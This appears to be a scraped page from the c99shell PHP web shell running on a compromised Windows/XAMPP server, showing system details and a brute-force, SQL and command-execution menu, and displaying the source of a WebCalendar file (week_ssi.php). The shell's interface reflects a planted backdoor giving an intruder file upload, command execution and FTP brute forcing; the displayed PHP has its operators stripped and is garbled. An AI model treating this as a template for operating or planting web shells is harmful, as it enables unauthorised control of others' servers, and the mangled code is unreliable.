!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\jaime\nuevo\WebCalendar-1.0.2\   drwxrwxrwx
Free 7.26 GB of 239.26 GB (3.04%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     week_ssi.php (3.59 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

// This page is intended to be used as a server-side include
// for another page.
// (Such as an intranet home page or something.)
// As such, no login is required.  Instead, the login id is either
// passed in the URL "week_ssi.php?login=cknudsen".  Unless, of course,
// we are in single-user mode, where no login info is needed.
// If no login info is passed, we check for the last login used.

$user "__none__"// don't let user specify in URL

if ( strlen $login ) == ) {
  if ( 
$single_user == "Y" ) {
    
$login $user $single_user_login;
  } else if ( 
strlen $webcalendar_login ) > ) {
    
$login $user $webcalendar_login;
  } else {
    echo 
"<span style=\"color:#FF0000; font-weight:bold;\">Error:</span><span style=\"color:#FF0000;\"> No calendar user specified.</span>";
    exit;
  }
}

include 
"includes/config.php";
include 
"includes/php-dbi.php";
include 
"includes/functions.php";
include 
"includes/$user_inc";
include 
"includes/connect.php";

load_global_settings ();
load_user_preferences ();
load_user_layers ();

$view "week";

include 
"includes/translate.php";


$today time() + ($TZ_OFFSET 60 60);

if ( ! empty ( 
$date ) && ! empty ( $date ) ) {
  
$thisyear substr $date0);
  
$thismonth substr $date4);
  
$thisday substr $date6);
} else {
  if ( empty ( 
$month ) || $month == )
    
$thismonth date("m"$today);
  else
    
$thismonth $month;
  if ( empty ( 
$year ) || $year == )
    
$thisyear date("Y"$today);
  else
    
$thisyear $year;
  if ( empty ( 
$day ) || $day == )
    
$thisday date("d"$today);
  else
    
$thisday $day;
}

$next mktime 300$thismonth$thisday 7$thisyear );
$prev mktime 300$thismonth$thisday 7$thisyear );

// We add 2 hours on to the time so that the switch to DST doesn't
// throw us off.  So, all our dates are 2AM for that day.
if ( $WEEK_START == )
  
$wkstart get_monday_before $thisyear$thismonth$thisday );
else
  
$wkstart get_sunday_before $thisyear$thismonth$thisday );
$wkend $wkstart + ( 3600 24 );
$startdate date "Ymd"$wkstart );
$enddate date "Ymd"$wkend );

/* Pre-Load the repeated events for quckier access */
$repeated_events read_repeated_events $login""$startdate );

/* Pre-load the non-repeating events for quicker access */
$events read_events $login$startdate$enddate );

for ( 
$i 0$i 7$i++ ) {
  
$days[$i] = $wkstart + ( 24 3600 ) * $i;
  
$weekdays[$i] = weekday_short_name ( ( $i $WEEK_START ) % );
  
$header[$i] = $weekdays[$i] . "<br />" .
     
month_short_name date "m"$days[$i] ) - ) .
     
" " date "d"$days[$i] );
}

?>


<table style="border-width:0px; width:100%;" cellspacing="0" cellpadding="0">
<tr><td style="background-color:<?php echo $TABLEBG?>;">
<table style="border-width:0px; width:100%;" cellspacing="1" cellpadding="2">

<tr>
<?php
for ( $d 0$d 7$d++ ) {
  if ( 
date "Ymd"$days[$d] ) == date "Ymd"$today ) )
    
$color $TODAYCELLBG;
  else
    
$color $THBG;
  echo 
"<th style=\"width:13%; background-color:$color;\">$header[$d]</th>";
}
?>
</tr>

<tr>
<?php
$first_hour 
$WORK_DAY_START_HOUR $TZ_OFFSET;
$last_hour $WORK_DAY_END_HOUR $TZ_OFFSET;
$untimed_found false;
for ( 
$d 0$d 7$d++ ) {
  
$date date "Ymd"$days[$d] );

  print 
"<td style=\"vertical-align:top; width:75px; height:75px;";
  if ( 
$date == date "Ymd" ) )
    echo 
" background-color:$TODAYCELLBG;\">";
  else
    echo 
" background-color:$CELLBG;\">";

  
print_date_entries $date$logintruetrue );
  echo 
"&nbsp;";
  echo 
"</td>\n";
}
?>
</tr>
</table>
</td></tr></table>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--